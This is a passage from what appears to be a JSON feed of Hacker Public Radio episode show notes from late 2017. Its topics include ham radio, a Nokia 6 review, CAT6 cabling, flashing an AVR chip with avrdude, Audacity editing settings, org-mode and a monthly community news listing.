                                                            This is the 3rd in the Amateur Radio Round Table series.

                                                            \n

                                                            Participants in this episode are:

                                                            \n
                                                              \n
                                                            • Steve, KD0IJP
                                                            • \n
                                                            • Michael, DL4MGM
                                                            • \n
                                                            • Ken, N0CALL
                                                            • \n
                                                            • Russ, K5TUX
                                                            • \n
                                                            \n

                                                            No agenda items had been set before recording, so we spent our time answering Ken's questions and allowing the discussion to proceed naturally. Some of the topics of conversation included:

                                                            \n
                                                              \n
                                                            • What the licensing exams are like in the US as well as Germany.
                                                            • \n
                                                            • Resonance.
                                                            • \n
                                                            • Antenna design.
                                                            • \n
                                                            • RF Modulation
                                                            • \n
                                                            \n

                                                            The next Amateur Radio Round Table recording is tentatively set for November 15, 2017 at 18:00 UTC. Watch the HPR email list for any further updates on this and consider joining in the discussion if you are a "ham" or if you aren't but have any interest in the subject.

                                                            \n","hostid":109,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"ham radio, amateur radio, radio, antenna, rf, modulation","version":0,"downloads":0,"valid":1}, {"id":2404,"date":"2017-10-19","title":"Open Source Gaming #1: Meridian59","duration":874,"summary":"A showcase of Open Source games, Starting with the revived MMORPG Meridian59","notes":"

                                                            Check out the game

                                                            \nEdited 2017-10-11T16:59:43Z (Wednesday) ken\n\n

                                                            Meridian 59

                                                            \n

                                                            From Wikipedia, the free encyclopedia

                                                            \n

                                                            Meridian 59 is known as the first 3D graphical massively multiplayer online role-playing game (MMORPG) and stands as one of the longest running original online role-playing games. Developed by Archetype Interactive, the team included John Hanke who later founded Niantic, Inc. and codeveloped Google Earth and Pokémon Go.

                                                            \n

                                                            First published by the now defunct 3DO Company, the game was first launched online in an early form on December 15, 1995 and released commercially on September 27, 1996 with a flat-rate monthly subscription. Meridian 59 is currently available as open source software and is being run by original developers Andrew Kirmse and Chris Kirmse.

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":354,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Gaming, Open Source","version":0,"downloads":0,"valid":1}, {"id":2405,"date":"2017-10-20","title":"Nokia 6 Review","duration":675,"summary":"This is a short show about my first thoughts of the Nokia 6","notes":"

                                                            The Nokia 6 is a mid range phone with the following specifications:

                                                            \n
                                                              \n
                                                            • 5.5-inch 1080p screen
                                                            • \n
                                                            • Snapdragon 430 chip set
                                                            • \n
                                                            • CPU - Octa-core 1.4 GHz Cortex-A53
                                                            • \n
                                                            • GPU - Adreno 505
                                                            • \n
                                                            • 3GB of RAM
                                                            • \n
                                                            • Dual 4G SIM capable (All UK networks)
                                                            • \n
                                                            • 32Gig internal storage expansion with SD card up to 128Gig
                                                            • \n
                                                            • 16MP and 8MP cameras
                                                            • \n
                                                            • Fingerprint scanner
                                                            • \n
                                                            • 3.5mm Headphone Jack
                                                            • \n
                                                            • All metal Aluminium case
                                                            • \n
                                                            \n

                                                            Price at purchase, network unlocked £200

                                                            \n

                                                            The phone came with Android 7.1 and as soon as it was connected to the Internet it updated to 7.1.1 so has the latest September security patches.

                                                            \n

                                                            The first issue encountered was that this phone uses a nano SIM card for the phone network and my old One Plus used the bigger micro SIM, so I had to get a new Sim card sent to me which took 24 hours. In the mean time I was installing some of the applications that I have on the phone and checking that all my contacts had transferred to the new phone, which despite a backup of same some had not migrated, but that’s a Google issue not the phone.

                                                            \n

                                                            When the SIM arrived I put it and a 16Gig micro SD card into the SIM slot, the cards were recognized and after configuring the SD card as additional storage I was able to set my pod catcher and camera to save files to the SD card rather than internal storage thus leaving internal storage for apps and Android updates.

                                                            \n

                                                            First thing I noticed over my previous One Plus1 is how snappy everything is the CPU upgrade was definitely and improvement over my old phone. Another thing is the fact that Nokia has decided to keep the 3.5mm headphone Jack which for me is essential as I listen to music and audio recordings at some time on the phone most days. A lot has also been said about the 3000mAh battery not being up to all day use and the slowness of recharging it if needed. For my use profile I find the battery more than adequate, I surf, use social media, take occasional snaps, watch the odd You Tube video and listen to pod-casts/music, Oh and make the odd phone call.

                                                            \n

                                                            After a 14 hour day I have still got 50-60% of battery left. Granted the other night I got down to 40% it did take all night to recharge to 98% with a 2.5A charger, with the official 2A charger it does seem to be a little faster, but yes if you're a heavy user you will need to carry your charger or a portable battery for emergency top ups.

                                                            \n

                                                            So would I recommend the Nokia6 to someone in the market for a phablet, the short answer is yes, if you need the larger screen but can't afford the high end larger screen phones this is a very good mid range option, if you need to use the dual SIM capability it might be worth spending the extra £40 and getting the 64Gig version to give extra room for updates and plenty of space for Applications as you will not be able to use the expansion capacity as the second SIM uses the space where the Micro SD card goes.

                                                            \n

                                                            After the first 2 weeks or so my first impressions are this is a good phone and well worth the £200 price point.

                                                            ","hostid":338,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"Android, Nokia 6, Phones, New Kit","version":0,"downloads":0,"valid":1}, {"id":2406,"date":"2017-10-23","title":"Putting Ends onto CAT6 Ethernet Cables","duration":509,"summary":"This was my experience learning how to put the ends onto CAT6 cable.","notes":"

                                                            This is the graphic that I used to learn how to feed the wires correctly into the plastic end piece in the right order:
                                                            \n\"https://3.bp.blogspot.com/-Sec-OmiRuDk/WOLMmb0yXJI/AAAAAAAAARE/ay3qkpPmIq4__PJc3RJoPWv9RNnxXauJQCEw/s1600/CAT6%2Bcat5%2BWiring%2BDiagram%2Bstraight%2Bthrough%2Bcable%2Bcolor%2Bcode%2Brj45%2BethernetTIA%2B568B.jpg\"

                                                            ","hostid":250,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CAT6, learning, DIY","version":0,"downloads":0,"valid":1}, {"id":2407,"date":"2017-10-24","title":"The Lost Episode Part 2","duration":1332,"summary":"NYbill talks about flashing firmware to a Atmega328p chip to get a Transistor Tester Kit working. ","notes":"

                                                            A follow up to “The Lost Episode”. Flashing the blank Atmega328p chip to get bring a nonworking Transistor Tester Kit to life.

                                                            \n

                                                            There are a lot of these kits out there. Different shapes, colors, and capabilities. In my case the kit was called a: 2578AY-AT. The firmware for this particular kit is: mega328_color_kit.

                                                            \n\n
                                                                lsusb (get bus and device ID numbers.)\n    sudo chmod +777 /dev/bus/usb/*bus_ID/*device_ID\n\n    avrdude -c ‘your programmer’ -p ‘your chip’
                                                            \n
                                                              \n
                                                            • In my case:
                                                            • \n
                                                            \n
                                                                avrdude -c usbasp -p m328p
                                                            \n

                                                            Avrdude should communicate with the programmer and verify the chip is ready to receive instructions.

                                                            \n

                                                            From here Avrdudess helped as I was able to use the ‘verify’ options after a write to see there was an error. Avrdudess also let me correct the error by changing the E-lock value to 0x04. Then the flash would write.

                                                            \n

                                                            Remember to write the hex file first and the eep file second as hex would over write a eep file if it was written first.

                                                            \n","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"Electronics,kit,tester,AVR programmer,transistor","version":0,"downloads":0,"valid":1}, {"id":2408,"date":"2017-10-25","title":"My Current Favourite Podcasts","duration":246,"summary":"Six of my favourite podcasts, as of October 2017. ","notes":"","hostid":250,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"podcasts, tech, maker, Christianity, science fiction, Klingon, humour, history","version":0,"downloads":0,"valid":1}, {"id":2409,"date":"2017-10-26","title":"RPG Counternote","duration":1155,"summary":"Lostnbronx offers his thoughts concerning Klaatu's recent episodes about RPG's.","notes":"

                                                            I started with tabletop role-playing games just about forty years ago. Klaatu recently did a two-part episode on the merits of RPG's, and it prompted some thoughts.

                                                            \n

                                                            KLAATU'S RPG EPISODES:

                                                            \n","hostid":107,"series":95,"explicit":1,"license":"CC-BY","tags":"rpg,role-playing game,pc,gaming,klaatu,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2410,"date":"2017-10-27","title":"OLF 2017 Report","duration":1376,"summary":"OLF 2017, a Free and Open Source Software conference took place on September 29- October 1, 2017","notes":"

                                                            Ohio LinuxFest 2017 is a Free and Open Source Software convention in Columbus, Ohio, and presents a variety of talks over the entire weekend. In this episode I tell you about my own personal experience at Ohio LinuxFest this year.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OLF 2017, Open Source, Free Software, Conference","version":0,"downloads":0,"valid":1}, {"id":2411,"date":"2017-10-30","title":"Information Underground: Co-op Paradise","duration":2691,"summary":"Deepgeek, Klaatu, and Lostnbronx discuss their long-running server co-operative.","notes":"

                                                            \nDeepgeek, Klaatu, and Lostnbronx discuss their long-running server co-operative, including the triumphs and challenges over the years, personal benefits, and why listeners might want to create such a thing themselves.

                                                            ","hostid":107,"series":99,"explicit":0,"license":"CC-BY-SA","tags":"web server,email server,server,co-op,co-operative,gopher,privacy,information underground","version":0,"downloads":0,"valid":1}, {"id":2412,"date":"2017-10-31","title":"The Call of Cthulhu","duration":5011,"summary":"In this episode, the HPR_AudioBookClub discusses The Call of Cthulhu","notes":"

                                                            SUMMARY

                                                            \n

                                                            In this episode, the HPR_AudioBookClub discusses The Call of Cthulhu.

                                                            \n

                                                            Non-Spoiler Thoughts

                                                            \n

                                                            Pop Culture References

                                                            \n\n

                                                            BEVERAGE REVIEWS

                                                            \n

                                                            As usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode

                                                            \n
                                                              \n
                                                            • Thaj: Plain old water..... boring as usual
                                                            • \n
                                                            • x1101: Rising Tide Calcutta Cutter IPA. Pine and citrus flavors gently accompany huge doses of hops
                                                            • \n
                                                            • pokey: Wallgreens generic hot flu remedy (comparable to Theraflu). Its gritty and tastes bad, but it helps if you're sick with a cold or flu.
                                                            • \n
                                                            • semioticrobotic: Harney & Sons Pumpkin spice herbal tea. semioticrobotic also recommends letting one of these tea bags steep in hot apple cider.
                                                            • \n
                                                            • pegwole: Black Coffee
                                                            • \n
                                                            \n

                                                            THINGS WE TALKED ABOUT THIS TIME

                                                            \n

                                                            Coconut Oil, Red Dwarf, Batman, Dr. Who

                                                            \n

                                                            OUR NEXT AUDIOBOOK

                                                            \n

                                                            Cybrosis by P. C. Haring \n
                                                            Cybrosis by P.C. Haring

                                                            \n

                                                            OUR AUDIO

                                                            \n

                                                            This episode was processed using Audacity https://audacity.sourceforge.net/. We've been making small adjustments to our audio mix each month in order to get the best possible sound. It's been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it's not good at making everyone's voice the same volume. We're pretty happy with the way this month's show turned out, so we'd like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).

                                                            \n

                                                            Mumble uses a sample rate of 48kHz, but HPR requires a sample rate of 44.1kHz so the first step in our audio process is to resample the file at 44.1kHz (Tracks > Resample > 44100). Resampling can take a long time if you don't have a powerful computer, and sometimes even if you do. If you record late at night, like we do, you may want to start the task before you go to bed, and save it first thing in the morning, so that the file is ready to go the next time you are.

                                                            \n

                                                            Next we use the \"Compressor\" effect with the following settings:

                                                            \n
                                                              \n
                                                            • Threshold: -30db
                                                            • \n
                                                            • Noise Floor: -50db
                                                            • \n
                                                            • Ratio: 3:1
                                                            • \n
                                                            • Attack Time: 0.2sec
                                                            • \n
                                                            • Decay Time: 1.0 sec
                                                            • \n
                                                            • \"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.
                                                            • \n
                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file's metadata. We use the \"Truncate Silence\" effect with it's default settings to minimize the silence between people speaking. When used with it's default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying or distorting any actual content. It makes a conversation sound as fluid during playback as it was when it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to pass the file through Truncate Silence ONCE, and ONLY ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound very choppy, and un-natural.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR FTP server.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.

                                                            \n

                                                            FURTHER RECOMMENDATIONS

                                                            \n

                                                            A Small Room in Koboldtown (Escape Pod podcast Episode 157) by By Michael Swanwick & read by Cheyenne Wright\n
                                                            A Small Room in Koboldtown

                                                            \n

                                                            FEEDBACK

                                                            \n

                                                            Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you'll consider joining us next time. Please leave a few words in the episode's comment section.\n
                                                            As always; remember to visit the HPR contribution page. HPR could really use your help right now.

                                                            \n

                                                            https://hackerpublicradio.org/contribute.php

                                                            \n

                                                            Sincerely,\n
                                                            The HPR_AudioBookClub

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

                                                            \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"Review, Audiobook, HPR_AudioBookClub","version":0,"downloads":0,"valid":1}, {"id":2413,"date":"2017-11-01","title":"personal health care","duration":344,"summary":"wherein bitbox discovers he is fat, and can no longer find his feet","notes":"

                                                            This show was created while sitting in my tractor cab (I'm a truck driver), it took less than 10 minutes to record. The slight background noise is my truck getting bounced around by the forklift running in and out of my trailer.

                                                            \n

                                                            The audio was recorded on an 'Olympus VN-1000PC' pocket dictation recorder (purchased at Walmart about 10 or 12 years ago, I think, for about $20.00-US), on the built in mic. The recorder will accept a mic and/or headphone with a 3.5mm jack size. Mini usb out as a mass storage device so its easy to offload your files. The device is simple enough for a monkey to use, or a trucker...

                                                            \n

                                                            \"The_Ultra_Hi_End_Recorder.jpg\"

                                                            \n

                                                            Photos from my Android phone, a samsung s7 active. Photos transferred to my laptop using the KDE connect application (I know, I know, how 'bout an episode...)

                                                            \n

                                                            Photo editing in \"Gwenview\", a gui application with fast cropping and resizing capability, plus much much more (I know, I know, how 'bout an episode...)

                                                            \n

                                                            Audio editing in \"Audacity\", of course. All I did was pull the silences, and the \"uh, ummmm's\" out, and then export into a flac mono. (I know, I know, how 'bout an episode...wait, no that one's been done, and done,...)

                                                            \n

                                                            \"Expensive_Audio_Editing_Software_Suite.jpg\"

                                                            \n

                                                            The digital scale in the picture below was purchased at 'bedbath&beyond' for less than $20.00 -US, several years ago and seems quite accurate

                                                            \n

                                                            \"OMG_scale_reading.jpg\"

                                                            \n

                                                            The Omron BP cuff...lists at about $80-$90.00 US on their site. I didn't pay for that though. My mom the retired nurse did.

                                                            \n

                                                            \"Omron_BP760_data_plate.jpg\" \"Omron_BP760_machine.jpg\"

                                                            \n

                                                            SHAKUBUKU - from the wikipedia entry...
                                                            \nShakubuku \"break and subdue\" (折伏) is a term that originates in the Chinese Śrīmālādevī Siṃhanāda Sūtra. Although often associated with the teachings of Nichiren, the term appears often in the SAT Daizokyo and the works of the Chinese Tiantai patriarachs Zhiyi and Zhanran. The term has historically been used to indicate the rebuttal of false teachings, and thereby break negative patterns in one's thoughts, words and deeds.

                                                            \n

                                                            Personally, I heard the term defined first on the movie, \"Gross Pointe Blank\" with Minni Driver, John Cusack, Alan Arkin and Dan Akroyd. Minnie Driver's character described SHAKUBUKU thusly,\"It's a swift, spiritual kick to the head that alters your reality forever.\"

                                                            \n

                                                            Both of these definitions work for me, the first being the more definitive, and the second being the somewhat simplistic, hipster/millennial definition, although the line was actually recorded around 1997 when the movie came out.

                                                            \n

                                                            Thank you all for listening.

                                                            \n

                                                            -bitbox

                                                            \n","hostid":330,"series":100,"explicit":1,"license":"CC-BY-SA","tags":"health, personal health","version":0,"downloads":0,"valid":1}, {"id":2414,"date":"2017-11-02","title":"What's in my ham shack, part 1","duration":1331,"summary":"A description of what's in my amateur radio shack.","notes":"","hostid":201,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"ham radio, amateur radio","version":0,"downloads":0,"valid":1}, {"id":2415,"date":"2017-11-03","title":"bullet journal to org mode","duration":927,"summary":"my journey from analog to digital","notes":"

                                                            1 Brief introduction

                                                            \n

                                                            1.1 Myself

                                                            \n

                                                            Hi, I'm Brian in Ohio

                                                            \n

                                                            1.2 Inspiration for show

                                                            \n

                                                            I heard Shane Shennan on episode 2299 doing a what's in my bag episode where he briefly mentions using a bullet journal. Then I think I heard Ken Fallon wondering about bullet journals on community news for the month with that episode. So I thought a show was in order explaining how I went from using a bullet journal to using emacs org mode.

                                                            \n

                                                            1.3 Parameters

                                                            \n

                                                            I'm not an expert on any of the following topics: bullet journal, Getting things done (GTD), orgmode or emacs. I'm someone who has tried these tools, climbed the learning curve and have some observations to make through that process.

                                                            \n

                                                            2 What's a bullet journal

                                                            \n

                                                            2.1 Created by ryder carrol

                                                            \n

                                                            The analog system for the digital age

                                                            \n

                                                            2.2 Where I found out about it

                                                            \n

                                                            https://www.relay.fm/penaddict/70

                                                            \n

                                                            2.3 What it is

                                                            \n

                                                            Method of laying out a notebook and using it to organize and process ideas and tasks. I won't try to explain exactly how it is set up. The video tutorial https://bulletjournal.com/ is excellent. You can use any notebook and divide it up into index pages, future log, monthly log and daily log there's a visual indexing/ tagging system to help organize stuff. Its extremely customizable.

                                                            \n

                                                            2.4 How I used it

                                                            \n

                                                            I bullet journaled for 2 and a half years, initially set it up stock but later put the index at the back. I used it as a daily planner, idea storing device and short term and long term goal setting tool.

                                                            \n

                                                            2.5 Strengths

                                                            \n

                                                            Customizable but within framework, gives a method to get organized that you can tailor to your needs. Its pretty easy to find needed info, if you're diciplined about using. It its battery free

                                                            \n

                                                            2.6 Shortcomings

                                                            \n

                                                            Need to be disciplined. Can be tedious to enter items in month, daily and index sections. It takes time to set up. I think Shane's use case he mentioned in podcast as sort of a project/idea book sounds pretty cool and might be a really good use case for this system. Hard to edit, this may be a strength for some people, but for me as a daily planner it was a little daunting to use. Adding stuff to something requires either leaving space ahead of time or indexing to a new page. The monthly log was always a mystery to me on how to use it. If you lose it you've lost it, no easy way to back it up

                                                            \n

                                                            3 What is org mode

                                                            \n

                                                            3.1 Created by Carsten Dominik

                                                            \n\n

                                                            3.2 what it is

                                                            \n

                                                            Is an editing and organizing mode for notes, planning, and authoring in the free software text editor Emacs.

                                                            \n

                                                            3.3 How I found out about it

                                                            \n

                                                            3.3.1 emacs

                                                            \n
                                                            3.3.1.1 Wanted a commandline C development environment for microcontroller project development
                                                            \n
                                                            3.3.1.2 IDE
                                                            \n

                                                            Worked with vim/ a bash shell as a sort of minimal IDE. I specifically was using it on a laptop that didn't have X installed on it. Just for fun, not my bread and butter.

                                                            \n
                                                            3.3.1.3 Wanted to try something new
                                                            \n

                                                            Knew about emacs, had tried it didn't like it

                                                            \n
                                                            3.3.1.4 Thanks to klaatu for emacs hpr emacs episodes
                                                            \n\n
                                                            3.3.1.5 Thanks to youtube found out about org mode
                                                            \n

                                                            Rainer Konig - getting yourself organized with org-mode
                                                            \nhttps://www.youtube.com/channel/UCfbGTpcJyEOMwKP-eYz3_fg

                                                            \n

                                                            3.3.2 Switched in october 2016

                                                            \n

                                                            3.4 How I use it

                                                            \n

                                                            At its heart an org-mode is an outliner. I use org-mode to set up daily todo tasks, organize projects, jot down notes. Org-mode has a subsystem call agenda view that can generate daily planner views from your org-mode files. I initially tried to mimic the bullet journal in org-mode, but found that it was better to approach org mode relying on its strengths, which are different, as you can imagine, from a Bullet journal.

                                                            \n

                                                            3.5 Strengths

                                                            \n

                                                            I like it because its editable, searchable and customizable. Projects can be broken down into as fine a detail as you want and that detail level can expand or contract as necessary. The power of org-mode comes out when you use it to capturing ideas, tasks and information. Capturing these events is done via capture templates that you can create. This new data is then saved to the appropriate org file then shows up in your agenda view. Its extremely easy to back up, it's text based and therefore future proof. There are many good tutorials and resources online

                                                            \n

                                                            3.6 Shortcomings

                                                            \n

                                                            Need to know a little about emacs and that can feel overwhelming to try. This new tool will require you to use your brain. Emacs keybindings

                                                            \n

                                                            4 What's next

                                                            \n

                                                            Trying to find a good way to use orgmode portably. mobile-org app for android doesn't work for me. This has led to trying a couple of different solutions which I will record other hpr episodes about. Thanks for listening. If you have ideas on Bullet Journals or Org-mode I'd love to hear an episode about it. I'll put links into the show notes, this is Brian in Ohio signing off.

                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"journal,bullet journal,emacs,org mode","version":0,"downloads":0,"valid":1}, {"id":2416,"date":"2017-11-06","title":"HPR Community News for October 2017","duration":4714,"summary":"HPR Volunteers talk about shows released and comments posted in October 2017","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2391Mon2017-10-02HPR Community News for September 2017HPR Volunteers
                                                            2392Tue2017-10-03Weather, Ogg Camp, Server Room, ITO collectionJWP
                                                            2393Wed2017-10-04PWGen - A password generatorXoke
                                                            2394Thu2017-10-05The Lost EpisodeNYbill
                                                            2395Fri2017-10-06ObamacareAhuka
                                                            2396Mon2017-10-09Information Underground: State of independencelostnbronx
                                                            2397Tue2017-10-10The Urban AstronomerDave Morriss
                                                            2398Wed2017-10-11AutoHotkey Master of Automation ?operat0r
                                                            2399Thu2017-10-12Using Super Glue to create Landmarks on Keyboardsdodddummy
                                                            2400Fri2017-10-13My commute into workthelovebug
                                                            2401Mon2017-10-16Music Theory Hara-KiriTheDUDE
                                                            2402Tue2017-10-17Petition: the card game for fanaticsklaatu
                                                            2403Wed2017-10-18Amateur Radio Round Table #3Various Hosts
                                                            2404Thu2017-10-19Open Source Gaming #1: Meridian59TheDUDE
                                                            2405Fri2017-10-20Nokia 6 ReviewTony Hughes AKA TonyH1212
                                                            2406Mon2017-10-23Putting Ends onto CAT6 Ethernet CablesShane Shennan
                                                            2407Tue2017-10-24The Lost Episode Part 2NYbill
                                                            2408Wed2017-10-25My Current Favourite PodcastsShane Shennan
                                                            2409Thu2017-10-26RPG Counternotelostnbronx
                                                            2410Fri2017-10-27OLF 2017 ReportAhuka
                                                            2411Mon2017-10-30Information Underground: Co-op Paradiselostnbronx
                                                            2412Tue2017-10-31The Call of CthulhuHPR_AudioBookClub
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 33 comments in total.

                                                            \n

                                                            There are 15 comments on\n8 previous shows:

                                                            \n
                                                            • hpr2150\n(2016-10-28) \"Apollo Guidance Computer\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nKen Fallon on 2017-10-29:\n\"The Apollo Saturn V Launch Vehicle Digital Computer (LVDC) Circuit Board\"

                                                              \n
                                                            • hpr2302\n(2017-05-30) \"Bash snippet - nullglob\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nclacke on 2017-10-05:\n\"nullglob in the wild\"
                                                              • \n
                                                              • \nComment 4:\nDave Morriss on 2017-10-07:\n\"A wild nullglob appears\"

                                                              \n
                                                            • hpr2376\n(2017-09-11) \"Information Underground: 21st Century Superstar\"\nby deepgeek.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nblindape on 2017-10-29:\n\"Me Too\"

                                                              \n
                                                            • hpr2377\n(2017-09-12) \"A Rambling Drive Into Work\"\nby MrX.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nMrX on 2017-10-18:\n\"Reply to Comment 1\"
                                                              • \n
                                                              • \nComment 4:\nMrX on 2017-10-18:\n\"Answer to comment 2\"

                                                              \n
                                                            • hpr2378\n(2017-09-13) \"Why Docbook?\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nclacke on 2017-10-05:\n\"SGML\"
                                                              • \n
                                                              • \nComment 6:\nclacke on 2017-10-05:\n\"Markdown\"
                                                              • \n
                                                              • \nComment 7:\nBob Jonkman on 2017-10-17:\n\"Referenced your podcast in our NonProfit SysAdmin meeting\"
                                                              • \n
                                                              • \nComment 8:\nBob Jonkman on 2017-10-17:\n\"Should have provided a link to the KWNPSA meeting\"

                                                              \n
                                                            • hpr2381\n(2017-09-18) \"Benefits of a tabletop\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nklaatu on 2017-10-01:\n\"Thanks for the comments\"

                                                              \n
                                                            • hpr2384\n(2017-09-21) \"Slackware in Scotland\"\nby Andrew Conway.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nklaatu on 2017-10-01:\n\"Slackware everywhere!!!\"
                                                              • \n
                                                              • \nComment 3:\ncobra2 on 2017-10-07:\n\"MMMMM slackware!\"

                                                              \n
                                                            • hpr2385\n(2017-09-22) \"Healthcare Costs\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nKevin O'Brien on 2017-10-05:\n\"Reply to Mr. Young\"
                                                              • \n
                                                              • \nComment 4:\nKevin O'Brien on 2017-10-05:\n\"Reply to Bob\"

                                                              \n
                                                            \n

                                                            There are 18 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr2394\n(2017-10-05) \"The Lost Episode\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nNYbill on 2017-11-04:\n\"New Version\"
                                                              • Comment 2:\nKen Fallon on 2017-11-04:\n\""Then I can do a followup to this episode."\"
                                                              • Comment 3:\nNYbill on 2017-11-04:\n\"Oi!\"

                                                              \n
                                                            • hpr2396\n(2017-10-09) \"Information Underground: State of independence\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTheDUDE on 2017-11-04:\n\"The struggle is real\"

                                                              \n
                                                            • hpr2397\n(2017-10-10) \"The Urban Astronomer\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2017-11-04:\n\"Enjoyed this show\"
                                                              • Comment 2:\nDave Morriss on 2017-11-04:\n\"Thanks Kevin\"

                                                              \n
                                                            • hpr2398\n(2017-10-11) \"AutoHotkey Master of Automation ?\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2017-11-04:\n\"Legalese\"

                                                              \n
                                                            • hpr2399\n(2017-10-12) \"Using Super Glue to create Landmarks on Keyboards\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\njan on 2017-11-04:\n\"hpr2399\"
                                                              • Comment 2:\ndodddummy on 2017-11-04:\n\"Shows on the mainframe\"
                                                              • Comment 3:\nShane Shennan on 2017-11-04:\n\"Great Episode!\"

                                                              \n
                                                            • hpr2402\n(2017-10-17) \"Petition: the card game for fanatics\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmcnalu on 2017-11-04:\n\"Intriguing\"

                                                              \n
                                                            • hpr2404\n(2017-10-19) \"Open Source Gaming #1: Meridian59\"\nby TheDUDE.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTheDUDE on 2017-11-04:\n\"More Links\"

                                                              \n
                                                            • hpr2405\n(2017-10-20) \"Nokia 6 Review\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nQuvmoh on 2017-11-04:\n\"Great show\"

                                                              \n
                                                            • hpr2407\n(2017-10-24) \"The Lost Episode Part 2\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2017-11-04:\n\"avrdude, fuses, clone programmers etc.\"
                                                              • Comment 2:\nKen Fallon on 2017-11-04:\n\"Ordered\"
                                                              • Comment 3:\nNYbill on 2017-11-04:\n\"Thanks, Mike.\"
                                                              • Comment 4:\nNYbill on 2017-11-04:\n\"Nice ken.\"
                                                              • Comment 5:\nNYbill on 2017-11-04:\n\"...We will expect a show about the build, Ken.\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-October/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            HPR Shows on archive.org

                                                            \n

                                                            HPR show notes which contain images or which link to other files are something we encourage. However, when uploading these to the Internet Archive (IA) at archive.org there are a number of issues:

                                                            \n
                                                              \n
                                                            • If a file has been submitted as part of the original HPR upload we copy it to archive.org and use the URL of the copy in the notes. This mechanism has been added in the past few months and seems to be working fine.

                                                            • \n
